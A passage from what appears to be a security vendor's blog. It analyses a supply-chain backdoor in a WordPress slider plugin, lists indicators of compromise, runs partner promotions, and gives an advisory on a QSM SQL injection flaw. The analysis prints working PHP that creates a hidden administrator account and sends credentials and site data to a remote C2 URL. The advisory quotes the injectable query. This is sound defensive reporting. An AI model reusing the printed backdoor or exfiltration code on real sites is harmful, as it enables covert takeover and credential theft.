The generated password is 16 characters, random, and stored along with the username and email in the _wpc_uinfo WordPress option as a base64-encoded JSON blob. This means the attacker can retrieve the plaintext credentials at any time through any of the backdoor entry points.

function _wpc_deploy_persistence($ak) {
    global $wpdb;

    $uname = "wpsvc_" . substr(md5(get_option("siteurl")), 0, 4);
    $uemail = "kiziltxt2@gmail.com";
    $existing = get_user_by("login", $uname);
    if (!$existing) {
        $pass = wp_generate_password(16, false, false);
        $uid  = wp_insert_user(array(
            "user_login" => $uname,
            "user_pass"  => $pass,
            "user_email" => $uemail,
            "role"       => "administrator",
            "display_name" => "WordPress Service",
        ));
        if (!is_wp_error($uid)) {
            update_option("_wpc_uid", $uid, false);
            update_option("_wpc_uinfo", base64_encode(json_encode(array(
                "u" => $uname, "p" => $pass, "e" => $uemail
            ))), false);
            update_user_meta($uid, "show_admin_bar_front", "false");
        }
    } else {
        update_option("_wpc_uid", $existing->ID, false);
    }
[...]

The user ID is stored separately in _wpc_uid, and the show_admin_bar_front user meta is also set to false so the admin bar doesn’t appear on the frontend for this account.

4. User hiding from the admin interface

Two filters work together to make the rogue account invisible to legitimate administrators:

The pre_user_query filter modifies every user list query in the admin area by appending a WHERE clause that excludes the hidden user’s ID. This means the account will never appear in the Users screen, even when searching directly.

The views_users filter adjusts the role count badges displayed at the top of the Users screen (ex: “All (5)” / “Administrator (2)”). It decrements these counts so the numbers remain consistent, preventing administrators from noticing the discrepancy of an extra user that doesn’t appear in the list.

add_action("pre_user_query", function ($q) {
        global $wpdb;
        if (is_admin() && isset($q->query_where)) {
            $hidden = get_option("_wpc_uid", 0);
            if ($hidden) {
                $q->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $hidden);
            }
        }
    });

    add_filter("views_users", function ($views) {
        $hidden = get_option("_wpc_uid", 0);
        if (!$hidden) return $views;
        foreach ($views as $role => &$view) {
            if (preg_match('/\((\d+)\)/', $view, $m)) {
                $count = max(0, intval($m[1]) - ($role === "all" || $role === "administrator" ? 1 : 0));
                $view = preg_replace('/\(\d+\)/', "($count)", $view);
            }
        }
        return $views;
    });

5. Credential and access key storage in WordPress options

The malware uses three custom WordPress options, all set with autoload disabled to reduce their visibility in option dumps:

_wpc_ak: The secret authentication key (24 hex characters) used to gate access to all backdoor endpoints
_wpc_uid: The user ID of the hidden administrator account
_wpc_uinfo: Base64-encoded JSON containing the plaintext username, password, and email of the rogue account

These options serve as the shared state across all persistence layers and are the first thing the attacker checks upon gaining access through any entry point.

6. Persistence across multiple locations using three additional redundant backdoors

Removing the plugin alone is not enough to eliminate the threat since the _wpc_deploy_persistence() function also installs copies of the backdoor in three additional locations, ensuring re-entry even after the compromised plugin is deleted.

a) Must-Use Plugin: wp-content/mu-plugins/object-cache-helper.php

The malware creates the mu-plugins directory if it doesn’t exist, then writes a must-use plugin with a filename designed to look like a legitimate caching component. Must-use plugins are loaded automatically by WordPress on every request, they cannot be deactivated through the admin interface and don’t appear in the standard Plugins screen.

b) Theme infection: functions.php

The malware reads the active theme’s functions.php file and checks whether it has already been infected. If clean, it appends an identical backdoor snippet to the end of the file. Since functions.php is loaded by WordPress on every request as part of the active theme, this backdoor survives plugin removal and persists as long as the theme is active.

c) Core file injection: wp-includes/class-wp-locale-helper.php

The malware drops a new PHP file into WordPress’s core wp-includes directory, using a filename that mimics a legitimate WordPress core class. Unlike the other persistence layers, this backdoor does not depend on the WordPress database, but reads its authentication key from a .cache_key file stored in the same directory. This means it can survive database credential changes and works even if WordPress fails to bootstrap fully.

7. Command-and-control registration and data exfiltration

The final stage is the _wpc_register_c2() function, which transmits data to https://wpjs1.com/api/v3/register-agent with a comprehensive JSON payload containing:

The site’s home URL
The secret backdoor key
The site’s hostname
Smart Slider version, WordPress version, and PHP version
The WordPress admin email address
The database name
The server software string
The plaintext username and password of the hidden administrator account
A list of all installed persistence layers (plugin,admin,mu,func,inc)

The sslverify parameter is set to false, ensuring the request transmits even if the C2 domain uses a self-signed or expired certificate.

function _wpc_register_c2($ak) {
    global $wpdb;

    $uinfo = get_option("_wpc_uinfo", "");
    $creds = $uinfo ? json_decode(base64_decode($uinfo), true) : array();

    $info = array(
        "url"  => home_url("/"),
        "key"  => $ak,
        "name" => parse_url(home_url(), PHP_URL_HOST),
        "note" => json_encode(array(
            "ss3"    => "3.5.1.35",
            "wp"     => get_bloginfo("version"),
            "php"    => PHP_VERSION,
            "email"  => get_option("admin_email"),
            "db"     => $wpdb->dbname,
            "sv"     => isset($_SERVER["SERVER_SOFTWARE"]) ? $_SERVER["SERVER_SOFTWARE"] : "",
            "adm_u"  => isset($creds["u"]) ? $creds["u"] : "",
            "adm_p"  => isset($creds["p"]) ? $creds["p"] : "",
            "adm_e"  => "kiziltxt2@gmail.com",
            "layers" => "plugin,admin,mu,func,inc",
        )),
    );

    define("_WPC_BEACON", true);
    @wp_remote_post("https://wpjs1.com/api/v3/register-agent", array(
        "body"      => json_encode($info),
        "headers"   => array("Content-Type" => "application/json"),
        "timeout"   => 8,
        "blocking"  => true,
        "sslverify" => false,
    ));
}

Indicators of Compromise (IOC)

Files

wp-content/mu-plugins/object-cache-helper.php
wp-includes/class-wp-locale-helper.php
wp-includes/.cache_key
Modifications to the active theme’s functions.php (search for _wpc_ak)

Database entries (wp_options table)

_wpc_ak (backdoor authentication key)
_wpc_uid (hidden user ID)
_wpc_uinfo (base64-encoded plaintext credentials)

User accounts

Username matching wpsvc_* pattern
Email address kiziltxt2@gmail.com
Display name “WordPress Service”

Network indicators

Outbound HTTP POST to wpjs1.com
Inbound requests containing the X-Cache-Status: nw9xQmK4 header
Inbound requests with the _chk GET parameter

Conclusion

This incident is a textbook supply chain compromise, the kind that renders traditional perimeter defenses irrelevant. Generic firewall rules, nonce verification, role-based access controls, none of them apply when the malicious code is delivered through the trusted update channel. The plugin is the malware.

The sophistication of the payload is notable: rather than a simple webshell, the attacker deployed a multi-layered persistence toolkit with several independent, redundant re-entry points, user concealment, resilient command execution with fallback chains, and automatic C2 registration with full credential exfiltration.

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free

Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts

Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Manage by Elementor: Now with Patchstack Vulnerability Detection

Lana Rafaela — Tue, 31 Mar 2026 12:44:48 GMT

Elementor – the website builder powering over 21 million WordPress sites – has integrated Patchstack into its site management dashboard – Manage.

Real-time vulnerability detection is now built directly into the tool that agencies and web creators use to run their entire portfolio.

No additional security plugins or switching tabs. Security intel, right where the users are already working.

We understand how important site security is to our web creators, and that’s why we’ve partnered with Patchstack to surface real-time security risks directly within the Manage dashboard, allowing users to be proactive about site safety and address risks before they escalate.

— Ran Madjar, Head of Elementor One

How Patchstack provides visibility within Manage by Elementor

With Patchstack now built into Manage, users get:

Real-time security risk (vulnerability) detection across all connected sites. The moment a plugin risk is discovered, it shows up in the dashboard.
Severity ratings (High, Medium, Low) so teams can prioritize what actually needs attention.
Bulk site view where users can explore the details of security risks.
Direct links to Patchstack for full technical details and remediation guidance.

And because it’s on by default, users are in the know from the beginning.

One less thing for agencies to worry about

WordPress plugin vulnerabilities aren’t slowing down, and the window between disclosure and active exploitation keeps getting shorter.

Agencies managing dozens of client sites are especially exposed, because the more sites you run, the harder it is to keep track of what’s at risk.

By bringing our vulnerability intelligence into Manage, we’re making it easier for professionals to stay ahead of threats without adding anything to their workflow. The visibility is there – built into the tool that they’re already in every day.

That’s how security should work.

Learn more about how Patchstack works within Manage by Elementor.

JetHost Partners with Patchstack for Proactive WordPress Security

Lana Rafaela — Wed, 04 Mar 2026 13:37:07 GMT

We’re excited to announce that JetHost has partnered with Patchstack to bring proactive vulnerability protection to WordPress websites hosted on its platform.

JetHost is a modern hosting provider built by industry veterans with more than 20 years of experience, offering a platform optimized for WordPress and WooCommerce websites, combining performance-focused architecture and secure hosting environments to support businesses, agencies, and developers at every stage of growth.

And with Patchstack, they get a security partner they can rely on.

Our partnership with Patchstack strengthens our ability to deliver proactive protection to our clients. Rather than simply reacting to emerging threats, we can now help prevent vulnerabilities from being exploited in the first place. This collaboration represents a strategic advancement in our security offering and reinforces our commitment to delivering high-value, future-ready web hosting solutions.

— Metodi Drenovski, JetHost

Strengthening WordPress security at the hosting layer

WordPress powers a significant portion of the web, but its open ecosystem also means an increasing number of vulnerabilities in plugins and themes. While applying updates remains the best defense, many websites are exposed during the period between vulnerability disclosure and update availability.

Through this partnership, JetHost customers can activate Patchstack-powered vulnerability monitoring and mitigation, helping prevent known vulnerabilities from being exploited even before updates are applied.

JetHost’s Business plan users will automatically receive Patchstack protection included with their accounts for one domain of their choice, while users on other plans can enable Patchstack for $3.99/domain/month.

This integration enables:

Continuous vulnerability monitoring for WordPress plugins and themes
Mitigation rules to block exploit attempts targeting known vulnerabilities
Security alerts that help site owners respond quickly to risks

By combining hosting infrastructure with vulnerability intelligence, JetHost helps its customers reduce security risks and maintain website stability.

Advancing security across the WordPress ecosystem

JetHost views WordPress security as a foundational part of hosting, and Patchstack provides the largest vulnerability intelligence database in the WordPress ecosystem and protects millions of websites through real-time mitigation and threat intelligence.

Together, we are working toward a safer WordPress ecosystem where websites remain protected even as new vulnerabilities emerge.

Clients who choose to activate the service benefit from continuous vulnerability monitoring, mitigation, and timely alerts related to plugin and theme risks, providing enhanced protection, reduced downtime, and greater operational confidence.

— Metodi Drenovski, JetHost

Learn more about the integration in JetHost’s post.

BigWetFish Hosting Partners with Patchstack for WordPress Security

Lana Rafaela — Fri, 27 Feb 2026 09:26:07 GMT

We’re thrilled to announce that BigWetFish Hosting, a trusted UK & Ireland-based web hosting provider known for fast performance, dependable support, and WordPress-optimized hosting, has integrated Patchstack for proactive WordPress vulnerability protection.

As part of this integration, BigWetFish customers will now get Patchstack’s automated vulnerability detection and mitigation, allowing them to protect their WordPress sites from emerging threats – especially during the window between vulnerability disclosure and updates.

Security is not just a feature at Big Wet Fish Hosting; it is part of our responsibility as a hosting provider. We understand that many WordPress site owners are busy running their businesses, and updates do not always happen immediately. By partnering with Patchstack, we are adding an extra layer of proactive protection against newly discovered vulnerabilities, helping safeguard our customers’ websites even when they fall behind on updates. This integration is another step in raising the standard of managed WordPress hosting.

— Stephen Kinkaid, BigWetFish Hosting

Preventing – not only reacting

Security threats in the WordPress ecosystem continue to grow. Heavily exploited vulnerabilities also see a median time to exploit of 5 hours.

And while updates remain critical, site owners don’t always apply them immediately, leaving websites exposed during the gap between vulnerability disclosure and patching.

Through this integration, Big Wet Fish Hosting customers now benefit from:

Real-time vulnerability monitoring
Protection against exploitation attempts through RapidMitigate rules
Reduced risk during delayed updates

Patchstack works at the application layer to block malicious requests targeting known vulnerabilities, providing an additional layer of defense beyond traditional hosting security controls.

Protecting WordPress – together

Patchstack protects millions of WordPress websites by providing the largest vulnerability database in the WordPress ecosystem and delivering real-time mitigation rules against exploitable threats.

And by partnering with Patchstack, Big Wet Fish Hosting joins a growing network of hosting providers committed to improving security standards across WordPress hosting, so customers don’t have to choose between performance, reliability, and protection.

We’re proud to work with Big Wet Fish Hosting to make sure users can focus on growth while we handle the security.

ManageWP Partners with Patchstack for Protection at Scale

Lana Rafaela — Thu, 19 Feb 2026 11:59:20 GMT

ManageWP has been making the lives of WordPress professionals and agencies easier for years within the GoDaddy ecosystem – helping them manage updates, backups, monitoring, and reporting at scale.

Today, we’re excited to announce that its security is getting a major upgrade with the introduction of Patchstack’s vulnerability detection and proactive protection.

You know what our users told us? They’re tired of scrambling every time a vulnerability drops. They wanted protection that actually gives them breathing room. That’s exactly what Patchstack does. Their protection blocks threats while our users plan and test updates properly. No more emergency fixes, no more 2 AM panic. Just good security that fits into how they actually work.

— Predrag Zdravkovic, ManageWP

What Patchstack Protection adds to ManageWP

With 7,966 vulnerabilities identified in 2024 and exploits often beginning within 5 hours of public disclosure, WordPress sites are exposed during the most dangerous period – the gap between disclosure and patching.

For agencies managing dozens or hundreds of sites, manually reacting within that window simply isn’t scalable.

Patchstack’s RapidMitigate protection closes that window by applying targeted mitigation rules up to 48 hours before vulnerabilities go public, even before plugin developers release updates, and blocking attack attempts.

ManageWP users will be able to immediately see:

Identified vulnerabilities across plugins, themes, and core
Exploit attempts that were automatically mitigated
Threat intelligence details, including attack types and malicious IPs
Protection status across all managed sites

No separate logins, no switching between platforms. Simply protection running automatically inside the dashboard that agencies already use every day.

The Patchstack team didn’t just hand us an API and wish us luck. We worked together to make sure the integration felt native to ManageWP, that the data showed up where our users expected it, and that enabling protection was as simple as clicking a button. That collaborative approach made all the difference.

— Predrag Zdravkovic, ManageWP

Partnering to protect WordPress professionals

With Patchstack Protection now built directly into the ManageWP dashboard, WordPress professionals can stay protected automatically – without adding another tool, another login, or another thing to constantly monitor.

Vulnerabilities get mitigated before they go public, sites stay secure in the background, and updates can happen on your schedule instead of in panic mode.

Together with ManageWP, we’re making proactive vulnerability mitigation part of the everyday WordPress workflow – not an afterthought, not a separate tool, but a built-in layer of protection.

And this is just the beginning.

Zone.ee Partners with Patchstack for Automatic WordPress Protection

Lana Rafaela — Tue, 17 Feb 2026 13:10:25 GMT

We’re excited to announce a new partnership with Zone.ee, one of the leading hosting providers in the Baltics, known for delivering reliable infrastructure and user-friendly tools to businesses, developers, and agencies.

Through this partnership, Patchstack’s proactive WordPress vulnerability protection is now available directly via Zone+, making advanced security simple to activate and seamlessly integrated into the hosting experience.

At Zone, we believe WordPress security should be proactive, not reactive. Partnering with Patchstack allows us to deliver advanced vulnerability protection directly to our customers without added complexity. Through Zone+, our customers can activate Patchstack in just a few clicks, making professional-grade security part of their everyday workflow. Together, we’re setting a higher standard for WordPress security.

— Kaarel Urva, Zone.ee

Raising the standard for WordPress security

With thousands of new WordPress vulnerabilities discovered every year and exploit attempts often beginning within 5 hours of disclosure, proactive mitigation is no longer optional. It’s essential.

And at Zone, security isn’t treated as an afterthought. It’s built into the platform experience.

Patchstack’s protection is a natural fit: powered by the world’s largest WordPress vulnerability intelligence network, trusted by developers, agencies, and hosting providers globally.

Seamless activation through Zone+

Patchstack is now available inside the Zone+ app catalogue, allowing customers to activate protection in just a few clicks to receive:

Continuous vulnerability monitoring
Automatic virtual mitigation rules to prevent vulnerability exploits
Application-layer protection against plugin and theme exploits
Lightweight security with no performance trade-offs or code changes

This partnership ensures that professional-grade WordPress security is no longer reserved for large teams. It’s accessible to every Zone customer without complex setup or additional infrastructure changes.

Protection runs quietly in the background, while users maintain full visibility into detected vulnerabilities and blocked threats.

As Zone highlights:

Proactive WordPress security shouldn’t be complicated. Together with Patchstack and through Zone+, we’re making advanced vulnerability protection simple, seamless, and accessible for our customers.

— Kaarel Urva, Zone.ee

Setting a higher bar for hosting security

Hosting providers play a critical role in shaping the security posture of the WordPress ecosystem. When protection is built into the hosting layer, customers don’t have to think about whether they’re secure – they simply are.

After all, security shouldn’t depend on how technical a customer is. It should be part of the foundation.

Together with Zone.ee, we’re making that foundation stronger.

Grid Design Agency Partners with Patchstack to Strengthen WordPress Security

Lana Rafaela — Mon, 02 Feb 2026 12:53:46 GMT

We’re happy to share that Grid Design Agency, a cutting-edge brand and website development agency based in London, the UK, has just introduced Patchstack to secure its clients’ websites.

Known for building high-performing, design-led WordPress experiences, Grid Design Agency now uses Patchstack to ensure those sites stay secure long after launch.

We design and build WordPress sites for serious businesses, where security at scale is a real challenge. Patchstack handles it quietly in the background, so we can focus on shipping fast, scalable products with confidence.

— Sy Crampton, Director @ Grid Design Agency

Securing digital experiences with Patchstack

Grid Design Agency now includes Patchstack as part of its WordPress security stack to ensure clients’ websites are protected against known and emerging vulnerabilities.

Patchstack adds an extra layer of protection by continuously monitoring the WordPress ecosystem for newly disclosed vulnerabilities and blocking exploitation attempts before damage occurs. With hyper-targeted mitigation rules, threats are stopped at the source – without impacting site performance or functionality.

This proactive approach allows Grid Design Agency to deliver peace of mind alongside exceptional design and development work.

Helping agencies deliver better security

By integrating Patchstack into its security stack, Grid Design Agency strengthens its ability to protect client websites at scale, reducing risk, minimizing emergency fixes, and helping clients stay online and trusted.

We’re excited to join forces with Grid Design Agency and help ensure that the incredible websites they build remain secure over time.

And with Patchstack now part of their security stack, Grid Design Agency joins the company of WordPress professionals and hosts shifting to proactive protection. And for agencies looking to raise the standard of WordPress security, Grid Design shows what’s possible.

Case study: Wolf Agency’s proactive approach blocks 67k+ threats in 30 days with Patchstack

Lana Rafaela — Mon, 02 Feb 2026 12:48:16 GMT

67K+

Threats blocked in 30 days

At Wolf Agency, proactive thinking isn’t a buzzword. The agency manages WordPress websites for clients who want to focus on growing their businesses, not worrying about technical details or security incidents.

While Wolf Agency already had security measures in place, something was missing: timeliness. Their previous security solution showed blocked attacks with a delay, so they couldn’t anticipate emerging threats.

They needed visibility and protection. And that’s when they turned to Patchstack.

If you’re serious about letting clients focus on growing their business while you handle their web presence, you need complete visibility into the security situation. Not just blocking attacks – understanding and controlling the entire security environment. And that’s exactly what Patchstack helps us do.

— Maru Arukask, Founder @ Wolf Agency

The challenge: Knowing what’s vulnerable (before it’s exploited)

Before Patchstack, Wolf Agency’s security setup did its job – attacks were blocked. But this came with a very long delay, and the team also couldn’t:

Mitigate as soon as a vulnerability became known
See vulnerabilities developing across client sites
Understand which plugins or themes introduced new risk
Anticipate emerging threats before they turned into attacks

For an agency built on proactivity, this was limiting.

Real proactive security, in Wolf Agency’s view, means knowing what’s vulnerable before it’s exploited, not just reacting after the fact. They wanted full insight into the security landscape across all client websites and immediate protection.

The solution: Actionable visibility and fastest protection

Patchstack delivered exactly what Wolf Agency was missing: the fastest protection and clear, actionable visibility into vulnerabilities and threats across all managed sites with the world’s most effective and fastest vulnerability mitigation.

Implementation was smooth. With support from the Patchstack team, Wolf Agency migrated all client sites at once.

The impact was immediate. Instead of only seeing blocked attacks, the team can now:

Identify vulnerabilities as they appear
Understand threat patterns across client sites
Keep their clients’ sites secure while waiting for plugin developers to issue fixes and safely test before applying them

Within days, the difference was clear: Wolf Agency finally had a complete picture of their clients’ WordPress security posture.

Image not from Wolf Agency’s account, but from a demo account.

Integrating Patchstack

Getting started has been simplified to the maximum.

1️⃣

Add the website you want to protect to Patchstack (individually or in bulk).

2️⃣

Enable the plugins individually or in bulk for multiple sites.

3️⃣

Sites are protected! 🎉

The results

Since implementing Patchstack, Wolf Agency has seen clear, measurable results:

67,000+ threats blocked in 30 days
Full visibility into vulnerabilities across all client sites
Vulnerabilities identified and mitigated before exploitation

What truly changed, however, was control.

Instead of simply seeing attacks being blocked, the team now understands the full security landscape. Wolf Agency can see what’s vulnerable, track emerging risks, and act proactively. This clarity removes uncertainty and creates mental space that’s incredibly valuable for an agency trusted to manage clients’ entire web presence.

Wolf Agency’s customers don’t want technical reports or security noise. They want reassurance. With Patchstack in place, the agency can confidently tell clients that their site is secure, everything is being monitored, and they can stay focused on growing their business.

Reactive tools only show what was blocked. Patchstack reveals the entire security environment: vulnerabilities, risks, and emerging threats. And that’s why it’s now an integral part of how Wolf Agency delivers reliable WordPress websites that increase clients’ revenue – without asking for peace of mind in return.

Ready to integrate security into your care plans? Try Patchstack.

trusted security partner for

SQL Injection Vulnerability in Quiz and Survey Master (QSM) Plugin Affecting 40k+ Sites

Chazz Wolcott — Thu, 29 Jan 2026 11:59:07 GMT

This blog post is about a Subscriber+ SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin. If you’re a QSM user, please update to at least version 10.3.2.

This vulnerability was discovered and reported by Patchstack Alliance community member Doan Dinh Van.

✌️ Our users are protected from this vulnerability. Are yours?

Web developers

Mitigate vulnerabilities in real-time without changing code.

See pricing

Plugin developers

Identify vulnerabilities in your plugins and get recommendations for fixes.

Request audit

Hosting companies

Protect your users, improve server health and earn additional revenue.

Patchstack for hosts

About the Quiz and Survey Master plugin

The QSM plugin, with over 40,000 active installations, is a plugin for creating quizzes, surveys, and forms. It includes advanced features like multimedia support and a drag-and-drop quiz builder.

The security vulnerability

In versions 10.3.1 and below, the QSM plugin is vulnerable to SQL injection, allowing any logged-in user to inject commands into the database. This means any Subscriber or higher user is able to perform a wide variety of unwanted actions, including potentially extracting sensitive information stored in the site’s database.

This vulnerability has been patched in version 10.3.2 and is tracked with CVE-2025-67987.

The root cause of the issue lies in the qsm_rest_get_question function:

function qsm_rest_get_question( WP_REST_Request $request ) {
	// Makes sure user is logged in.
	if ( is_user_logged_in() ) {
		global $wpdb;
		$current_user = wp_get_current_user();
		if ( 0 !== $current_user ) {
			$question       = QSM_Questions::load_question( $request['id'] );
			$categorysArray = QSM_Questions::get_question_categories( $question['question_id'] );
			if ( ! empty( $question ) ) {
				$is_linking = $request['is_linking'];
				$comma_separated_ids = '';
				if ( 1 <= $is_linking ) {
					if ( isset( $question['linked_question'] ) && '' == $question['linked_question'] ) {
						$comma_separated_ids = $is_linking;
					} else {
						$linked_question = isset($question['linked_question']) ? $question['linked_question'] : '';
						$exploded_question_array = explode(',', $linked_question);
						if ( ! empty($linked_question) ) {
							$exploded_question_array = array_merge([ $is_linking ], $exploded_question_array);
						} else {
							$exploded_question_array = [ $is_linking ];
						}
						$comma_separated_ids = implode(',', array_unique($exploded_question_array));
					}
				}

				$quiz_name_by_question = array();
				if ( ! empty($comma_separated_ids) ) {
					$quiz_results = $wpdb->get_results( "SELECT `quiz_id`, `question_id` FROM `{$wpdb->prefix}mlw_questions` WHERE `question_id` IN (" .$comma_separated_ids. ")" );
--------------------------- CUT HERE ---------------------------

The plugin works off an assumption that the is_linking parameter is an ID, however it does no validation or sanitizing of the parameter’s value before including it in a larger list of question IDs. This list is eventually included directly in an SQL statement (WHERE `question_id` IN (" .$comma_separated_ids. ")"). Because the value is not validated (e.g., with is_int/intval to ensure the value is a number), and the SQL statement is not using a prepared statement (which ensures the value is sanitized before being integrated into the SQL query), a malicious user could send an abnormal value containing an SQL statement, and have that statement be executed as part of the $quiz_results query.

The patch

In version 10.3.2, the vulnerability is mitigated by validating the content of the is_linking parameter with intval. This forces the value to be an integer, regardless of the original content. By ensuring the value is an integer, it can be safely added to a query without risk of injection, as no additional SQL commands could be included.

Conclusion

Database calls can be dangerous. User-provided input can be untrustworthy. Combining the two is a recipe for disaster. Even when a particular value isn’t intended to be directly provided by a user, any input coming from a request can be modified and needs to be validated before use.

Any input from the user should be validated, sanitized, or both before use. In this case, intval was used to both ensure the value was a number and sanitize it by forcing the value to become a number. When the data is able to be validated as something known and safe, that’s great. For anything that may be free form or more complicated to validate, sanitization is a must. PHP itself includes some functions for type validation, and WordPress offers many other sanitization functions for many common use cases.

Regarding SQL specifically, prepared statements are highly recommended. Prepared statements are used to tell the database or the database access APIs, “This is the actual query” and “this is data for the query”; this means the data can be treated specifically as data, and its content won’t be used as part of the query that contains it. Whenever possible, we recommend using wpdb::prepare on any SQL queries that may contain untrusted data.

Want to learn more about finding and fixing vulnerabilities?

Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base!

Case study: How xCloud secured managed WordPress hosting and blocked 53k+ threats with Patchstack

Lana Rafaela — Wed, 28 Jan 2026 14:38:55 GMT

53K+

Threats blocked by Patchstack in 90 days across 320+ sites

At xCloud, security has always been a core part of the managed hosting promise. As the platform grew and began managing thousands of WordPress sites, security needed to scale just as fast.

To deliver proactive, real-time protection without compromising performance or operational simplicity, xCloud chose Patchstack.

At xCloud, security at scale is about staying ahead of real exploits, not reacting after damage is done. Integrating Patchstack into our Site Security PRO was an easy decision. I deeply trust both Patchstack’s vision and the team they’ve built. Since the integration, we’ve seen stronger protection, fewer incidents, and much greater customer confidence. Patchstack isn’t just a tool for us – it’s a team we believe in.

— M Asif Rahman, Founder @ xCloud Hosting

The challenge: Protecting from vulnerabilities that standard firewalls fail to catch

For xCloud, the biggest challenge wasn’t just malicious traffic, but vulnerabilities that traditional firewalls often miss until it’s too late.

As a managed hosting provider, xCloud needed a solution that could:

Quickly and proactively protect against vulnerabilities
Scale seamlessly across all customer websites
Integrate cleanly into a managed hosting environment
Deliver protection without performance trade-offs

As the #1 WordPress vulnerability processor with its own database to proactively identify vulnerabilities and the provider of the fastest mitigation, Patchstack was a perfect match for xCloud.

The solution: Clear and effective security

Patchstack didn’t just stand out for its effective mitigation, but for how easily it fit into xCloud’s managed hosting environment.

Patchstack integrated naturally into xCloud’s existing infrastructure and workflows. Once deployed, it immediately began protecting customer sites without requiring complex per-site configuration or manual tuning.

This was critical: xCloud didn’t want a solution that required even more manual work. They wanted a solution the team could manage centrally, while still delivering site-level protection across hundreds of WordPress installations.

Patchstack delivered precisely that.

xCloud’s engineers also valued the clarity and depth of Patchstack’s insights:

Alerts were easy to understand and act on
Threat intelligence provided meaningful context
The platform scaled effortlessly as the hosting environment grew

Instead of adding operational burden, Patchstack simplified how xCloud monitored and managed security.

Built for integration: xCloud’s experience

Patchstack was deployed without friction and became part of xCloud’s managed hosting stack almost immediately.

1️⃣

Fast, centralized rollout across managed WordPress sites
Protection was enabled quickly across customer websites without requiring individual site configuration.

2️⃣

Centralized management with site-level protection
The xCloud team can manage security from a single place, while each site benefits from real-time vulnerability protection. As xCloud adds more users, Patchstack scales seamlessly.

3️⃣

Clear alerts and actionable threat intelligence
Engineers get precise, easy-to-understand alerts that speed up investigation and response.

The results

Since integrating Patchstack, xCloud has seen clear improvements across security, operations, and customer confidence.

In just 90 days, Patchstack delivered immediate, measurable impact:

53,000+ vulnerabilities blocked across 320+ WordPress sites
A noticeable reduction in security-related support tickets
Faster incident response thanks to actionable threat insights

From a business perspective, Patchstack helped xCloud confidently position security as a built-in feature, not an add-on, to increase higher-value plan conversions, customer retention, and clear differentiation in an increasingly competitive managed hosting market.

Customer response has been overwhelmingly positive. Since introducing Patchstack, xCloud has seen increased trust during sales and onboarding, fewer emergency support requests related to hacked sites, and customers explicitly citing security as a reason for choosing xCloud.

As the WordPress ecosystem continues to grow and threats evolve, Patchstack remains xCloud’s long-term security partner, helping them stay ahead of attackers while scaling business globally.

Want to turn your hosting plans into secure and high-converting solutions? Let’s talk about how Patchstack can help.

trusted security partner for

The Myth of Secure Hosting – Only 26% of Vulnerability Attacks Blocked By Hosts

Chazz Wolcott — Fri, 23 Jan 2026 11:24:32 GMT

“Secure hosting” is a phrase that’s increasingly used, and most hosts offer some level of security as part of their services. This mostly refers to known security suites like Cloudflare or in-house firewall solutions. But most of these solutions are ineffective against WordPress vulnerability exploits.

In 2025 we conducted a limited experiment to see if popular web hosting solutions could prevent attacks against known exploited vulnerabilities.

In the test we used 11 vulnerabilities that were known to be exploited in real-world attacks. We then tested these attacks on hosts using various solutions, from big security suites like Cloudflare to custom firewalls.

The shocking answer was that 88% of attacks we ran resulted in a successful site takeover.

But we wanted to see what would happen if we expanded the scope of the experiment. So for our second test, we decided to include more hosting companies, more different defensive layers, and more vulnerability types.

Our assumption was that the number of successful attacks would decrease as hosts would be better at blocking the more generic, non-WordPress specific vulnerabilities.

The new results show that while hosts overall did a little better against more generic attacks, 74% of all attacks still succeeded. Furthermore, this test also included the same 10 original vulnerabilities we tested in the first experiment. We had expected the hosts to react & mitigate those after our reports, but this was largely not the case.

It was worrying to see how many of the vulnerabilities were still not addressed by companies that had been tested previously.

— Kevin Ohashi, WPHostingBenchmarks.com

We know WordPress vulnerabilities are still on the rise, and vibe-coding practices will only exacerbate the problem. Furthermore, Google reported that time-to-exploit metrics hit negative values for the first time in history in 2024, meaning attacks are happening faster than official updates are getting rolled out.

This case study is about looking past the marketing to see how well hosting companies actually defend against vulnerabilities.

Part I – Experiment methodology & setup

About this experiment

After our initial test was published, we were left with a question. We knew hosts weren’t blocking the specific major vulnerabilities we had tested, but we wanted to know what they were blocking.

The second test series meant more hosts, for a better perspective of the industry as a whole, and more tests encompassing a wider variety of vulnerabilities with a wider range of attack methods, so we could get a real idea of what the industry is and isn’t protecting against.

On top of that, we decided early on to bring in a group of industry leaders to provide input on our vulnerability selection, test suite, and testing processes, so we could ensure this experiment was as fair as possible.

Based on our original test, we had some assumptions on how the second series’ results would look. During the original test, multiple hosts showed some amount of protection against common, non-WordPress-specific vulnerabilities, such as SQL injection or directory traversal attacks. We expected to see many hosts block these attacks, and as we included significantly more of these non-WordPress-specific tests, we expected the total number of blocked vulnerabilities to increase.

That said, we also know the reality of protecting against WordPress-specific attacks, vulnerabilities like broken access control, or privilege escalation.

These types of attacks are generally plugin/theme specific; often require specific knowledge of the request only WordPress knows (such as, “does the user trying to do this have the correct privileges to do so?”); and are essentially impossible to block in a generic way, meaning there’s no “standard” rule a firewall could use to block them.

Based on these factors, and on how poorly the industry did during our original test, we assumed most WordPress-specific vulnerabilities would be successfully exploitable.

Experiment setup – choosing vulnerabilities & target hosts

With the goals of understanding the hosting ecosystem’s security better, and seeing if our assumptions held water in a broader evaluation, we built the framework for this experiment. First, we constructed a list of vulnerabilities.

Our original tests consisted almost entirely of major vulnerabilities – ones publicly known to be mass-exploited, or which had impacted huge numbers of users.

For the new experiment, we wanted to go wide rather than focus in on specifics; we selected 20 additional vulnerabilities, all published in either 2025 or 2024, with a goal of covering as many categories as possible, and involving different specific attacks to try and give the hosts we tested the best possible opportunities to block at least some of our attacks.

The final vulnerability selection includes 10 of the original vulnerabilities from our v1 tests (#1-9, #20), as well as 20 new vulnerabilities to expand the total scope.

Plugin	Vulnerability Type	Privilege Required	CVSS Score	Patchstack Priority Score*
1: DB Backup	Broken Access Control	Unauthenticated	6.5	Medium
2: TI WooCommerce Wishlist	SQL Injection	Unauthenticated	9.3	High
3: TI WooCommerce Wishlist	Arbitrary File Upload	Unauthenticated	10	High
